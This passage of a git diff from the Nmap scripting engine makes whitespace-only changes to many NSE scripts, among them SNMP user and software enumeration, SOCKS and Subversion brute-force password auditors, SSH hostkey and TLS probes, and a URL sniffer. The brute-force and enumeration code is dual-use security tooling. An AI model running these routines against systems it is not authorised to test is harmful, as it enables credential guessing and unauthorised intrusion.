snmp-win32-software: -- | Apache Tomcat 5.5 (remove only); 2007-09-15 15:13:18 -- | Microsoft Internationalized Domain Names Mitigation APIs; 2007-09-15 15:13:18 -- | Security Update for Windows Media Player (KB911564); 2007-09-15 15:13:18 @@ -39,13 +39,13 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"}) -- @param oid string containing the object id for which the value should be extracted -- @return value of relevant type or nil if oid was not found function get_value_from_table( tbl, oid ) - + for _, v in ipairs( tbl ) do if v.oid == oid then return v.value end end - + return nil end @@ -54,30 +54,30 @@ end -- @param tbl table containing oid and value -- @return table suitable for stdnse.format_output function process_answer( tbl ) - + local sw_name = "1.3.6.1.2.1.25.6.3.1.2" local sw_date = "1.3.6.1.2.1.25.6.3.1.5" local new_tbl = {} - + for _, v in ipairs( tbl ) do - + if ( v.oid:match("^" .. sw_name) ) then - local objid = v.oid:gsub( "^" .. sw_name, sw_date) + local objid = v.oid:gsub( "^" .. sw_name, sw_date) local install_date = get_value_from_table( tbl, objid ) local sw_item - + local _, year, month, day, hour, min, sec = bin.unpack( ">SCCCCC", install_date ) - install_date = ("%02d-%02d-%02d %02d:%02d:%02d"):format( year, month, day, hour, min, sec ) + install_date = ("%02d-%02d-%02d %02d:%02d:%02d"):format( year, month, day, hour, min, sec ) sw_item = ("%s; %s"):format(v.value ,install_date) table.insert( new_tbl, sw_item ) end - + end - + table.sort( new_tbl ) return new_tbl - + end @@ -85,21 +85,21 @@ action = function(host, port) local socket = nmap.new_socket() local catch = function() socket:close() end - local try = nmap.new_try(catch) + local try = nmap.new_try(catch) local data, snmpoid = nil, "1.3.6.1.2.1.25.6.3.1" local sw = {} local status socket:set_timeout(5000) try(socket:connect(host, port)) - + status, sw = snmp.snmpWalk( socket, snmpoid ) socket:close() if ( not(status) ) or ( sw == nil ) or ( #sw == 0 ) then return end - + sw = process_answer( sw ) nmap.set_port_state(host, port, "open") diff --git a/scripts/snmp-win32-users.nse b/scripts/snmp-win32-users.nse index 2561ed8fa..bf4d671eb 100644 --- a/scripts/snmp-win32-users.nse +++ b/scripts/snmp-win32-users.nse @@ -10,7 +10,7 @@ Attempts to enumerate Windows user accounts through SNMP --- -- @output --- | snmp-win32-users: +-- | snmp-win32-users: -- | Administrator -- | Guest -- | IUSR_EDUSRV011 @@ -46,38 +46,38 @@ function process_answer( tbl ) for _, v in ipairs( tbl ) do table.insert( new_tab, v.value ) end - + table.sort( new_tab ) - + return new_tab - + end action = function(host, port) local socket = nmap.new_socket() local catch = function() socket:close() end - local try = nmap.new_try(catch) + local try = nmap.new_try(catch) local snmpoid = "1.3.6.1.4.1.77.1.2.25" local users = {} local status socket:set_timeout(5000) try(socket:connect(host, port)) - + status, users = snmp.snmpWalk( socket, snmpoid ) socket:close() if( not(status) ) then return end - + users = process_answer( users ) if ( users == nil ) or ( #users == 0 ) then return end - + nmap.set_port_state(host, port, "open") return stdnse.format_output( true, users ) diff --git a/scripts/socks-auth-info.nse b/scripts/socks-auth-info.nse index 6092d7862..63185dad4 100644 --- a/scripts/socks-auth-info.nse +++ b/scripts/socks-auth-info.nse @@ -21,7 +21,7 @@ types: -- PORT STATE SERVICE -- 1080/tcp open socks -- | socks-auth-info: --- | No authentication +-- | No authentication -- |_ Username and password -- -- @xmloutput @@ -59,7 +59,7 @@ action = function(host, port) table.insert(auth_methods, out) end end - + helper:close() if ( 0 == #auth_methods ) then return end return auth_methods diff --git a/scripts/socks-brute.nse b/scripts/socks-brute.nse index 6929df5b1..e78f16db7 100644 --- a/scripts/socks-brute.nse +++ b/scripts/socks-brute.nse @@ -14,7 +14,7 @@ Performs brute force password auditing against SOCKS 5 proxy servers. -- @output -- PORT STATE SERVICE -- 1080/tcp open socks --- | socks-brute: +-- | socks-brute: -- | Accounts -- | patrik:12345 - Valid credentials -- | Statistics @@ -29,7 +29,7 @@ categories = {"brute", "intrusive"} portrule = shortport.port_or_service({1080, 9050}, {"socks", "socks5", "tor-socks"}) Driver = { - + new = function (self, host, port) local o = { host = host, port = port } setmetatable (o,self) @@ -41,7 +41,7 @@ Driver = { self.helper = socks.Helper:new(self.host, self.port, { timeout = 10000 }) return self.helper:connect() end, - + login = function( self, username, password ) local status, err = self.helper:authenticate({username=username, password=password}) @@ -50,7 +50,7 @@ Driver = { if ( "Authentication failed" == err ) then return false, brute.Error:new( "Login failed" ) end - + -- something else happend, let's retry local err = brute.Error:new( err ) err:setRetry( true ) @@ -59,10 +59,10 @@ Driver = { return true, brute.Account:new(username, password, creds.State.VALID) end, - + disconnect = function( self ) return self.helper:close() - end, + end, } local function checkAuth(host, port) @@ -72,11 +72,11 @@ local function checkAuth(host, port) if ( not(status) ) then return false, response end - + if ( response.method == socks.AuthMethod.NONE ) then return false, "\n No authentication required" end - + local status, err = helper:authenticate({username="nmap", password="nmapbruteprobe"}) if ( err ~= "Authentication failed" ) then return false, ("\n ERROR: %s"):format(err) diff --git a/scripts/socks-open-proxy.nse b/scripts/socks-open-proxy.nse index ed45419a8..2fa5eec60 100644 --- a/scripts/socks-open-proxy.nse +++ b/scripts/socks-open-proxy.nse @@ -42,7 +42,7 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"default", "discovery", "external", "safe"} ---- Performs the custom test, with user's arguments +--- Performs the custom test, with user's arguments -- @param host The host table -- @param port The port table -- @param test_url The url to request @@ -56,7 +56,7 @@ local function custom_test(host, port, test_url, pattern) local response = {} -- strip hostname - if not string.match(test_url, "^http://.*") then + if not string.match(test_url, "^http://.*") then test_url = "http://" .. test_url stdnse.print_debug("URL missing scheme. URL concatenated to http://") end @@ -71,8 +71,8 @@ local function custom_test(host, port, test_url, pattern) fstatus = status4 or status5 if(cstatus4) then response[#response+1]="socks4" end if(cstatus5) then response[#response+1]="socks5" end - if(fstatus) then return fstatus, response end - + if(fstatus) then return fstatus, response end + -- Nothing works... if not (cstatus4 or cstatus5) then return false, nil @@ -101,7 +101,7 @@ local function default_test(host, port) local get_r4, get_r5 local methods local response = {} - + local test_url = "/" local hostname = "www.google.com" local pattern = "^server: gws" @@ -113,13 +113,13 @@ local function default_test(host, port) if(cstatus5) then response[#response+1]="socks5" end if(fstatus) then return fstatus, response end - -- if we receive a invalid response, but with a valid + -- if we receive a invalid response, but with a valid -- response code, we should make a next attempt. -- if we do not receive any valid status code, -- there is no reason to keep testing... the proxy is probably not open if not (cstatus4 or cstatus5) then return false, nil end stdnse.print_debug("Test 1 - Google Web Server: Received valid status codes, but pattern does not match") - + test_url = "/" hostname = "www.wikipedia.org" pattern = "wikimedia" @@ -132,7 +132,7 @@ local function default_test(host, port) if not (cstatus4 or cstatus5) then return false, nil end stdnse.print_debug("Test 2 - Wikipedia.org: Received valid status codes, but pattern does not match") - + local redir_check_get = get_r4 or get_r5 test_url = "/" diff --git a/scripts/ssh-hostkey.nse b/scripts/ssh-hostkey.nse index 6abda95d4..a2f2ae773 100644 --- a/scripts/ssh-hostkey.nse +++ b/scripts/ssh-hostkey.nse @@ -33,13 +33,13 @@ The script also includes a postrule that check for duplicate hosts using the gat -- * "bubble": Bubble Babble output, -- * "visual": Visual ASCII art representation. -- * "all": All of the above. --- @args ssh-hostkey.known-hosts If this is set, the script will check if the --- known hosts file contains a key for the host being scanned and will compare --- it with the keys that have been found by the script. The script will try to --- detect your known-hosts file but you can, optionally, pass the path of the +-- @args ssh-hostkey.known-hosts If this is set, the script will check if the +-- known hosts file contains a key for the host being scanned and will compare +-- it with the keys that have been found by the script. The script will try to +-- detect your known-hosts file but you can, optionally, pass the path of the -- file to this option. -- --- @args ssh-hostkey.known-hosts-path. Path to a known_hosts file. +-- @args ssh-hostkey.known-hosts-path. Path to a known_hosts file. --@output -- 22/tcp open ssh -- | ssh-hostkey: 2048 f0:58:ce:f4:aa:a4:59:1c:8e:dd:4d:07:44:c8:25:11 (RSA) @@ -57,13 +57,13 @@ The script also includes a postrule that check for duplicate hosts using the gat -- | | o . | -- |_ +-----------------+ -- 22/tcp open ssh syn-ack --- | ssh-hostkey: Key comparison with known_hosts file: --- | GOOD Matches in known_hosts file: +-- | ssh-hostkey: Key comparison with known_hosts file: +-- | GOOD Matches in known_hosts file: -- | L7: 199.19.117.60 -- | L11: foo -- | L15: bar -- | L19: --- | WRONG Matches in known_hosts file: +-- | WRONG Matches in known_hosts file: -- | L3: 199.19.117.60 -- | ssh-hostkey: 2048 xuvah-degyp-nabus-zegah-hebur-nopig-bubig-difeg-hisym-rumef-cuxex (RSA) -- |_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwVuv2gcr0maaKQ69VVIEv2ob4OxnuI64fkeOnCXD1lUx5tTA+vefXUWEMxgMuA7iX4irJHy2zer0NQ3Z3yJvr5scPgTYIaEOp5Uo/eGFG9Agpk5wE8CoF0e47iCAPHqzlmP2V7aNURLMODb3jVZuI07A2ZRrMGrD8d888E2ORVORv1rYeTYCqcMMoVFmX9l3gWEdk4yx3w5sD8v501Iuyd1v19mPfyhrI5E1E1nl/Xjp5N0/xP2GUBrdkDMxKaxqTPMie/f0dXBUPQQN697a5q+5lBRPhKYOtn6yQKCd9s1Q22nxn72Jmi1RzbMyYJ52FosDT755Qmb46GLrDMaZMQ== @@ -203,7 +203,7 @@ local function check_keys(host, keys, f) matched = true end end - if not matched then + if not matched then table.insert(different_keys, k) end end @@ -212,13 +212,13 @@ local function check_keys(host, keys, f) local return_string = "Key comparison with known_hosts file: " if #keys_from_file == 0 then return_string = return_string .. "\n\t" .. "No entry for scanned host found in known_hosts file." - else - if next(matched_keys) or next(same_key_hashed) or next(same_key) then + else + if next(matched_keys) or next(same_key_hashed) or next(same_key) then return_string = return_string .. "\n\tGOOD Matches in known_hosts file: " if next(matched_keys) then for __, gm in ipairs(matched_keys) do return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " .. gm.name - end + end end if next(same_key) then for __, gm in ipairs(same_key) do @@ -226,7 +226,7 @@ local function check_keys(host, keys, f) end end - if next(same_key_hashed) then + if next(same_key_hashed) then for __, gm in ipairs(same_key_hashed) do return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " end @@ -236,7 +236,7 @@ local function check_keys(host, keys, f) return_string = return_string .. "\n\tWRONG Matches in known_hosts file: " for __, gm in ipairs(different_keys) do return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " .. gm.name - end + end end end end @@ -299,13 +299,13 @@ local function portaction(host, port) -- if a known_hosts file was given, then check if it contains a key for the host being scanned local known_hosts = stdnse.get_script_args("ssh-hostkey.known-hosts") or false - if known_hosts then + if known_hosts then known_hosts = ssh1.parse_known_hosts_file(known_hosts) local res, status res, status = check_keys(host, keys, known_hosts) table.insert(output, 1, status) end - + if #output > 0 then return output_tab, table.concat( output, '\n' ) diff --git a/scripts/ssh2-enum-algos.nse b/scripts/ssh2-enum-algos.nse index 6241ab1f8..30102c261 100644 --- a/scripts/ssh2-enum-algos.nse +++ b/scripts/ssh2-enum-algos.nse @@ -24,7 +24,7 @@ type. -- @output -- PORT STATE SERVICE -- 22/tcp open ssh --- | ssh2-enum-algos: +-- | ssh2-enum-algos: -- | kex_algorithms (4) -- | diffie-hellman-group-exchange-sha256 -- | diffie-hellman-group-exchange-sha1 diff --git a/scripts/sshv1.nse b/scripts/sshv1.nse index a03df40a7..600d651e3 100644 --- a/scripts/sshv1.nse +++ b/scripts/sshv1.nse @@ -67,7 +67,7 @@ action = function(host, port) socket:close() return end - + socket:close(); return true, "Server supports SSHv1" diff --git a/scripts/ssl-date.nse b/scripts/ssl-date.nse index 7423daf63..c86a92fd7 100644 --- a/scripts/ssl-date.nse +++ b/scripts/ssl-date.nse @@ -67,7 +67,7 @@ local client_hello = function(host, port) -- Connect to the target server local specialized_function = sslcert.getPrepareTLSWithoutReconnect(port) - + if not specialized_function then sock = nmap.new_socket() sock:set_timeout(5000) @@ -77,7 +77,7 @@ local client_hello = function(host, port) stdnse.print_debug("Can't send: %s", err) return false end - else + else status,sock = specialized_function(host,port) if not status then return false diff --git a/scripts/ssl-enum-ciphers.nse b/scripts/ssl-enum-ciphers.nse index 8e25f99d7..314208508 100644 --- a/scripts/ssl-enum-ciphers.nse +++ b/scripts/ssl-enum-ciphers.nse @@ -227,7 +227,7 @@ local function find_ciphers(host, port, protocol) } record = try_params(host, port, t) - + if record == nil then if protocol_worked then stdnse.print_debug(2, "%d ciphers rejected. (No handshake)", #group) @@ -281,7 +281,7 @@ local function find_compressors(host, port, protocol, good_cipher) -- Try connecting with compressor. record = try_params(host, port, t) - + if record == nil then if protocol_worked then stdnse.print_debug(2, "%d compressors rejected. (No handshake)", #compressors) @@ -328,7 +328,7 @@ local function try_protocol(host, port, protocol, upresults) condvar "signal" return nil end - + if #ciphers == 0 then results = {ciphers={},compressors={}} setmetatable(results,{ diff --git a/scripts/ssl-google-cert-catalog.nse b/scripts/ssl-google-cert-catalog.nse index e2503c740..f86456625 100644 --- a/scripts/ssl-google-cert-catalog.nse +++ b/scripts/ssl-google-cert-catalog.nse @@ -23,7 +23,7 @@ matching domain name, it may be suspicious. -- @output -- PORT STATE SERVICE ---443/tcp open https ----| ssl-google-cert-catalog: +---| ssl-google-cert-catalog: ---| First/last date seen: 19 Aug 2011 / 10 Sep 2011 ---|_ Days in between: 20 diff --git a/scripts/sslv2.nse b/scripts/sslv2.nse index b0e0662e3..0b56ce3e8 100644 --- a/scripts/sslv2.nse +++ b/scripts/sslv2.nse @@ -52,7 +52,7 @@ local hex2dec = function(hex) byte2 = string.byte(hex, 2); if (byte1 == nil or byte2 == nil) then return 0; end; - + return (byte1 * 256) + byte2; end @@ -119,7 +119,7 @@ action = function(host, port) local socket = nmap.new_socket(); local status = true; - + local tmp; local idx = 3; -- start reading after the end of the length record diff --git a/scripts/stun-info.nse b/scripts/stun-info.nse index 035fda031..7d36ecc93 100644 --- a/scripts/stun-info.nse +++ b/scripts/stun-info.nse @@ -13,7 +13,7 @@ Retrieves the external IP address of a NAT:ed host using the STUN protocol. -- @output -- PORT STATE SERVICE -- 3478/udp open|filtered stun --- | stun-info: +-- | stun-info: -- |_ External IP: 80.216.42.106 -- @@ -32,7 +32,7 @@ action = function(host, port) if ( not(status) ) then return fail("Failed to connect to server") end - + local status, result = helper:getExternalAddress() if ( not(status) ) then return fail("Failed to retrieve external IP") @@ -41,7 +41,7 @@ action = function(host, port) port.version.name = "stun" nmap.set_port_state(host, port, "open") nmap.set_port_version(host, port) - + if ( result ) then return "\n External IP: " .. result end diff --git a/scripts/stun-version.nse b/scripts/stun-version.nse index 93f69df20..e65fa9a00 100644 --- a/scripts/stun-version.nse +++ b/scripts/stun-version.nse @@ -28,7 +28,7 @@ action = function(host, port) if ( not(status) ) then return fail("Failed to connect to server") end - + local status, result = helper:getVersion() if ( not(status) ) then return fail("Failed to retrieve external IP") diff --git a/scripts/svn-brute.nse b/scripts/svn-brute.nse index 0dec6524f..fe8f77f80 100644 --- a/scripts/svn-brute.nse +++ b/scripts/svn-brute.nse @@ -16,7 +16,7 @@ Performs brute force password auditing against Subversion source code control se -- @output -- PORT STATE SERVICE REASON -- 3690/tcp open svn syn-ack --- | svn-brute: +-- | svn-brute: -- | Accounts -- |_ patrik:secret => Login correct -- @@ -44,10 +44,10 @@ categories = {"intrusive", "brute"} portrule = shortport.port_or_service(3690, "svnserve", "tcp", "open") -svn = +svn = { svn_client = "nmap-brute v0.1", - + new = function(self, host, port, repo) local o = {} setmetatable(o, self) @@ -62,11 +62,11 @@ svn = --- Connects to the SVN - repository -- -- @return status true on success, false on failure - -- @return err string containing an error message on failure + -- @return err string containing an error message on failure connect = function(self) local repo_url = ( "svn://%s/%s" ):format(self.host.ip, self.repo) local status, msg - + self.socket = nmap.new_socket() local result @@ -74,23 +74,23 @@ svn = if( not(status) ) then return false, result end - + status, msg = self.socket:receive_bytes(1) if ( not(status) or not( msg:match("^%( success") ) ) then return false, "Banner reports failure" end - + msg = ("( 2 ( edit-pipeline svndiff1 absent-entries depth mergeinfo log-revprops ) %d:%s %d:%s ( ) ) "):format( #repo_url, repo_url, #self.svn_client, self.svn_client ) status = self.socket:send( msg ) if ( not(status) ) then return false, "Send failed" end - + status, msg = self.socket:receive_bytes(1) if ( not(status) ) then return false, "Receive failed" end - + if ( msg:match("%( success") ) then local tmp = msg:match("%( success %( %( ([%S+%s*]-) %)") if ( not(tmp) ) then return false, "Failed to detect authentication" end @@ -101,9 +101,9 @@ svn = return false end - return true + return true end, - + --- Attempts to login to the SVN server -- -- @param username string containing the login username @@ -113,31 +113,31 @@ svn = login = function( self, username, password ) local status, msg local challenge, digest - + if ( self.auth_mech["CRAM-MD5"] ) then msg = "( CRAM-MD5 ( ) ) " status = self.socket:send( msg ) - + status, msg = self.socket:receive_bytes(1) if ( not(status) ) then return false, "error" end - + challenge = msg:match("<.+>") - + if ( not(challenge) ) then return false, "Failed to read challenge" end - + digest = stdnse.tohex(openssl.hmac('md5', password, challenge)) msg = ("%d:%s %s "):format(#username + 1 + #digest, username, digest) self.socket:send( msg ) - + status, msg = self.socket:receive_bytes(1) if ( not(status) ) then return false, "error" end - + if ( msg:match("Username not found") ) then return false, "Username not found" elseif ( msg:match("success") ) then @@ -148,21 +148,21 @@ svn = else return false, "Unsupported auth-mechanism" end - + end, - + --- Close the SVN connection -- -- @return status true on success, false on failure close = function(self) return self.socket:close() end, - + } Driver = -{ +{ new = function(self, host, port, invalid_users ) local o = {} setmetatable(o, self) @@ -173,10 +173,10 @@ Driver = o.invalid_users = invalid_users return o end, - + connect = function( self ) local status, msg - + self.svn = svn:new( self.host, self.port, self.repo ) status, msg = self.svn:connect() if ( not(status) ) then @@ -185,14 +185,14 @@ Driver = err:setRetry( true ) return false, err end - + return true end, - + disconnect = function( self ) self.svn:close() end, - + --- Attempts to login to the SVN server -- -- @param username string containing the login username @@ -201,12 +201,12 @@ Driver = -- @return brute.Error object on failure -- brute.Account object on success login = function( self, username, password ) - local status, msg - + local status, msg + if ( self.invalid_users[username] ) then return false, brute.Error:new( "User is invalid" ) end - + status, msg = self.svn:login( username, password ) if ( not(status) and msg:match("Username not found") ) then @@ -218,7 +218,7 @@ Driver = return false, brute.Error:new( "Incorrect password" ) end end, - + --- Verifies whether the repository is valid -- -- @return status, true on success, false on failure @@ -240,26 +240,26 @@ Driver = action = function(host, port) - local status, accounts - + local status, accounts + local repo = stdnse.get_script_args('svn-brute.repo') local force = stdnse.get_script_args('svn-brute.force') - + if ( not(repo) ) then return "No repository specified (see svn-brute.repo)" end - + local svn = svn:new( host, port, repo ) local status = svn:connect() if ( status and svn.auth_mech["ANONYMOUS"] and not(force) ) then return " \n Anonymous SVN detected, no authentication needed" end - + if ( not(svn.auth_mech) or not( svn.auth_mech["CRAM-MD5"] ) ) then return " \n No supported authentication mechanisms detected" end - + local invalid_users = {} local engine = brute.Engine:new(Driver, host, port, invalid_users) engine.options.script_name = SCRIPT_NAME diff --git a/scripts/targets-asn.nse b/scripts/targets-asn.nse index d56d4828c..f0c8825e4 100644 --- a/scripts/targets-asn.nse +++ b/scripts/targets-asn.nse @@ -10,7 +10,7 @@ This script uses a whois server database operated by the Shadowserver Foundation. We thank them for granting us permission to use this in Nmap. -Output is in CIDR notation. +Output is in CIDR notation. http://www.shadowserver.org/wiki/pmwiki.php/Services/IP-BGP ]] diff --git a/scripts/targets-ipv6-multicast-mld.nse b/scripts/targets-ipv6-multicast-mld.nse index 1ec210ac6..c874380cd 100644 --- a/scripts/targets-ipv6-multicast-mld.nse +++ b/scripts/targets-ipv6-multicast-mld.nse @@ -16,10 +16,10 @@ Attempts to discover available IPv6 hosts on the LAN by sending an MLD (multicas -- nmap -6 --script=targets-ipv6-multicast-mld.nse --script-args 'newtargets,interface=eth0' -sP -- -- Pre-scan script results: --- | targets-ipv6-multicast-mld: +-- | targets-ipv6-multicast-mld: -- | IP: fe80::5a55:abcd:ef01:2345 MAC: 58:55:ab:cd:ef:01 IFACE: en0 -- | IP: fe80::9284:0123:4567:89ab MAC: 90:84:01:23:45:67 IFACE: en0 --- | +-- | -- |_ Use --script-args=newtargets to add the results as targets -- -- @args targets-ipv6-multicast-mld.timeout timeout to wait for @@ -88,14 +88,14 @@ local function single_interface_broadcast(if_nfo, results) probe.mac_dst = dst_mac probe.ip_bin_src = src_ip6 probe.ip_bin_dst = dst_ip6 - + probe.ip6_tc = 0 probe.ip6_fl = 0 probe.ip6_hlimit = 1 probe.icmpv6_type = packet.MLD_LISTENER_QUERY probe.icmpv6_code = 0 - + -- Add a non-empty payload too. probe.icmpv6_payload = bin.pack("HA", "00 00 00 00", gen_qry) probe:build_icmpv6_header() @@ -119,7 +119,7 @@ local function single_interface_broadcast(if_nfo, results) if ( status ) then local l2reply = packet.Frame:new(layer2) local reply = packet.Packet:new(layer3, length, true) - if ( reply.ip6_nhdr == packet.MLD_LISTENER_REPORT or + if ( reply.ip6_nhdr == packet.MLD_LISTENER_REPORT or reply.ip6_nhdr == packet.MLDV2_LISTENER_REPORT ) then local target_str = reply.ip_src if not results[target_str] then diff --git a/scripts/targets-sniffer.nse b/scripts/targets-sniffer.nse index fc336af28..c411d374e 100644 --- a/scripts/targets-sniffer.nse +++ b/scripts/targets-sniffer.nse @@ -49,8 +49,8 @@ local function check_if_valid(address) local broadcast = interface_info.broadcast local local_address = interface_info.address - if address == local_address - or address == broadcast or address == "255.255.255.255" + if address == local_address + or address == broadcast or address == "255.255.255.255" or address:match('^ff') --IPv6 Multicast addrs then return false diff --git a/scripts/telnet-brute.nse b/scripts/telnet-brute.nse index cdbc36846..047bf097e 100644 --- a/scripts/telnet-brute.nse +++ b/scripts/telnet-brute.nse @@ -517,9 +517,9 @@ Driver.methods.login = function (self, username, password) local sent_username = self.target.passonly local sent_password = false local conn = self.conn - + local loc = " in " .. tostring(coroutine.running()) - + local connection_error = function (msg) print_debug(detail_debug, msg .. loc) local err = brute.Error:new(msg) @@ -568,7 +568,7 @@ Driver.methods.login = function (self, username, password) -- failed return connection_error("Service unreachable") end - + -- username has not yet been sent while not sent_username do local line = conn:get_line() diff --git a/scripts/telnet-encryption.nse b/scripts/telnet-encryption.nse index 5a9960d71..65f1d73d2 100644 --- a/scripts/telnet-encryption.nse +++ b/scripts/telnet-encryption.nse @@ -4,7 +4,7 @@ local shortport = require "shortport" local table = require "table" description = [[ -Determines whether the encryption option is supported on a remote telnet server. Some systems (including FreeBSD and the krb5 telnetd available in many Linux distributions) implement this option incorrectly, leading to a remote root vulnerability. This script currently only tests whether encryption is supported, not for that particular vulnerability. +Determines whether the encryption option is supported on a remote telnet server. Some systems (including FreeBSD and the krb5 telnetd available in many Linux distributions) implement this option incorrectly, leading to a remote root vulnerability. This script currently only tests whether encryption is supported, not for that particular vulnerability. References: * FreeBSD Advisory: http://lists.freebsd.org/pipermail/freebsd-announce/2011-December/001398.html @@ -19,7 +19,7 @@ References: -- @output -- PORT STATE SERVICE REASON -- 23/tcp open telnet syn-ack --- | telnet-encryption: +-- | telnet-encryption: -- |_ Telnet server supports encryption -- -- @@ -37,7 +37,7 @@ local COMMAND = { Will = 0xFB, Do = 0xFD, Dont = 0xFE, - Wont = 0xFC, + Wont = 0xFC, } local function processOptions(data) diff --git a/scripts/tls-nextprotoneg.nse b/scripts/tls-nextprotoneg.nse index d861469db..189f08805 100644 --- a/scripts/tls-nextprotoneg.nse +++ b/scripts/tls-nextprotoneg.nse @@ -10,7 +10,7 @@ local tls = require "tls" description = [[ Enumerates a TLS server's supported protocols by using the next protocol negotiation extension. -This works by adding the next protocol negotiation extension in the client hello +This works by adding the next protocol negotiation extension in the client hello packet and parsing the returned server hello's NPN extension data. For more information , see: @@ -23,7 +23,7 @@ For more information , see: -- --@output -- 443/tcp open https --- | tls-nextprotoneg: +-- | tls-nextprotoneg: -- | spdy/3 -- | spdy/2 -- |_ http/1.1 diff --git a/scripts/traceroute-geolocation.nse b/scripts/traceroute-geolocation.nse index ca66078aa..51bf4ae0c 100644 --- a/scripts/traceroute-geolocation.nse +++ b/scripts/traceroute-geolocation.nse @@ -16,7 +16,7 @@ saves the results to a KML file, plottable on Google earth and maps. -- nmap --traceroute --script traceroute-geolocation -- -- @output --- | traceroute-geolocation: +-- | traceroute-geolocation: -- | hop RTT ADDRESS GEOLOCATION -- | 1 ... -- | 2 ... @@ -105,7 +105,7 @@ local function createKMLFile(filename, coords) end f:write(header .. output .. footer) f:close() - + return true end @@ -154,7 +154,7 @@ action = function(host) output_hop(count) end end - + if (#output_structured > 0) then output = tab.dump(output) if ( arg_kmlfile ) then diff --git a/scripts/unusual-port.nse b/scripts/unusual-port.nse index 53d943043..5aec93a21 100644 --- a/scripts/unusual-port.nse +++ b/scripts/unusual-port.nse @@ -35,7 +35,7 @@ end hostrule = function() return true end --- the hostrule is only needed to warn +-- the hostrule is only needed to warn hostaction = function(host) local port, state = nil, "open" local is_version_scan = false @@ -57,11 +57,11 @@ hostaction = function(host) if ( not(is_version_scan) ) then return stdnse.format_output(true, "WARNING: this script depends on Nmap's service/version detection (-sV)") end - + end portchecks = { - + ['tcp'] = { [113] = function(host, port) return ( port.service == "ident" ) end, [445] = function(host, port) return ( port.service == "netbios-ssn" ) end, @@ -70,7 +70,7 @@ portchecks = { [636] = function(host, port) return ( port.service == "ldapssl" ) end, [3268] = function(host, port) return ( port.service == "ldap" ) end, }, - + ['udp'] = { [5353] = function(host, port) return ( port.service == "mdns" ) end, } @@ -85,11 +85,11 @@ servicechecks = { port.service = service return status end, - + -- accept msrpc on any port for now, we might want to limit it to certain -- port ranges in the future. ['msrpc'] = function(host, port) return true end, - + -- accept ncacn_http on any port for now, we might want to limit it to -- certain port ranges in the future. ['ncacn_http'] = function(host, port) return true end, @@ -107,12 +107,12 @@ portaction = function(host, port) if ( not(ok) and servicechecks[port.service] ) then ok = servicechecks[port.service](host, port) end - if ( not(ok) and port.service and + if ( not(ok) and port.service and ( port.service == svc_table[port.protocol][port.number] or "unknown" == svc_table[port.protocol][port.number] or not(svc_table[port.protocol][port.number]) ) ) then ok = true - end + end if ( not(ok) ) then return ("%s unexpected on port %s/%d"):format(port.service, port.protocol, port.number) end diff --git a/scripts/upnp-info.nse b/scripts/upnp-info.nse index 4c9735776..6baee3f4c 100644 --- a/scripts/upnp-info.nse +++ b/scripts/upnp-info.nse @@ -15,7 +15,7 @@ Attempts to extract system information from the UPnP service. -- -- @args upnp-info.override Controls whether we override the IP address information -- returned by the UPNP service for the location of the XML --- file that describes the device. Defaults to true for +-- file that describes the device. Defaults to true for -- unicast hosts. -- 2010-10-05 - add prerule support @@ -34,7 +34,7 @@ categories = {"default", "discovery", "safe"} portrule = shortport.portnumber(1900, "udp", {"open", "open|filtered"}) --- --- Sends UPnP discovery packet to host, +-- Sends UPnP discovery packet to host, -- and extracts service information from results action = function(host, port) local override = stdnse.get_script_args("upnp-info.override") diff --git a/scripts/url-snarf.nse b/scripts/url-snarf.nse index 68b2632be..bb3bae66c 100644 --- a/scripts/url-snarf.nse +++ b/scripts/url-snarf.nse @@ -21,7 +21,7 @@ ctrl+break is issued, by setting the timeout to 0. -- nmap --script url-snarf -e -- -- @output --- | url-snarf: +-- | url-snarf: -- |_ Sniffed 169 URLs in 5 seconds -- -- @args url-snarf.timeout runs the script until the timeout is reached. @@ -67,7 +67,7 @@ local function get_url(data) parsed.path = headers[1]:match("^[^s%s]+ ([^%s]*) HTTP/1%.%d$") if ( not(parsed.path) ) then return - end + end for _, v in ipairs(headers) do parsed.host, parsed.port = v:match("^Host: (.*):?(%d?)$") if ( parsed.host ) then @@ -102,7 +102,7 @@ end action = function() local counter = 0 - + if ( arg_outfile ) then local outfd = io.open(arg_outfile, "a") if ( not(outfd) ) then @@ -110,7 +110,7 @@ action = function() end outfd:close() end - + local socket = nmap.new_socket() socket:set_timeout(1000) socket:pcap_open(arg_iface, 1500, true, "tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)") diff --git a/scripts/versant-info.nse b/scripts/versant-info.nse index fedabeb84..cb88ffa33 100644 --- a/scripts/versant-info.nse +++ b/scripts/versant-info.nse @@ -16,7 +16,7 @@ a Versant object database. -- @output -- PORT STATE SERVICE REASON -- 5019/tcp open versant syn-ack --- | versant-info: +-- | versant-info: -- | Hostname: WIN-S6HA7RJFAAR -- | Root path: C:\Versant\8 -- | Database path: C:\Versant\db @@ -53,13 +53,13 @@ action = function(host, port) if ( not(status) ) then return fail("Failed to connect to server") end - + local status, newport = v:getObePort() if ( not(status) ) then return fail("Failed to retrieve OBE port") end v:close() - + v = versant.Versant.OBE:new(host, newport) status = v:connect() if ( not(status) ) then @@ -74,13 +74,13 @@ action = function(host, port) v:close() local output = {} - + table.insert(output, ("Hostname: %s"):format(result.hostname)) table.insert(output, ("Root path: %s"):format(result.root_path)) table.insert(output, ("Database path: %s"):format(result.db_path)) table.insert(output, ("Library path: %s"):format(result.lib_path)) table.insert(output, ("Version: %s"):format(result.version)) - + port.version.product = "Versant Database" port.version.name = "versant" nmap.set_port_version(host, port) @@ -99,9 +99,9 @@ action = function(host, port) return stdnse.format_output(true, output) end v:close() - + local databases = { name = "Databases" } - + for _, db in ipairs(result) do local db_tbl = { name = db.name } table.insert(db_tbl, ("Created: %s"):format(db.created)) @@ -109,7 +109,7 @@ action = function(host, port) table.insert(db_tbl, ("Version: %s"):format(db.version)) table.insert(databases, db_tbl) end - + table.insert(output, databases) return stdnse.format_output(true, output) end diff --git a/scripts/vmauthd-brute.nse b/scripts/vmauthd-brute.nse index 49b5c910e..1f54b2234 100644 --- a/scripts/vmauthd-brute.nse +++ b/scripts/vmauthd-brute.nse @@ -14,7 +14,7 @@ Performs brute force password auditing against the VMWare Authentication Daemon -- @output -- PORT STATE SERVICE -- 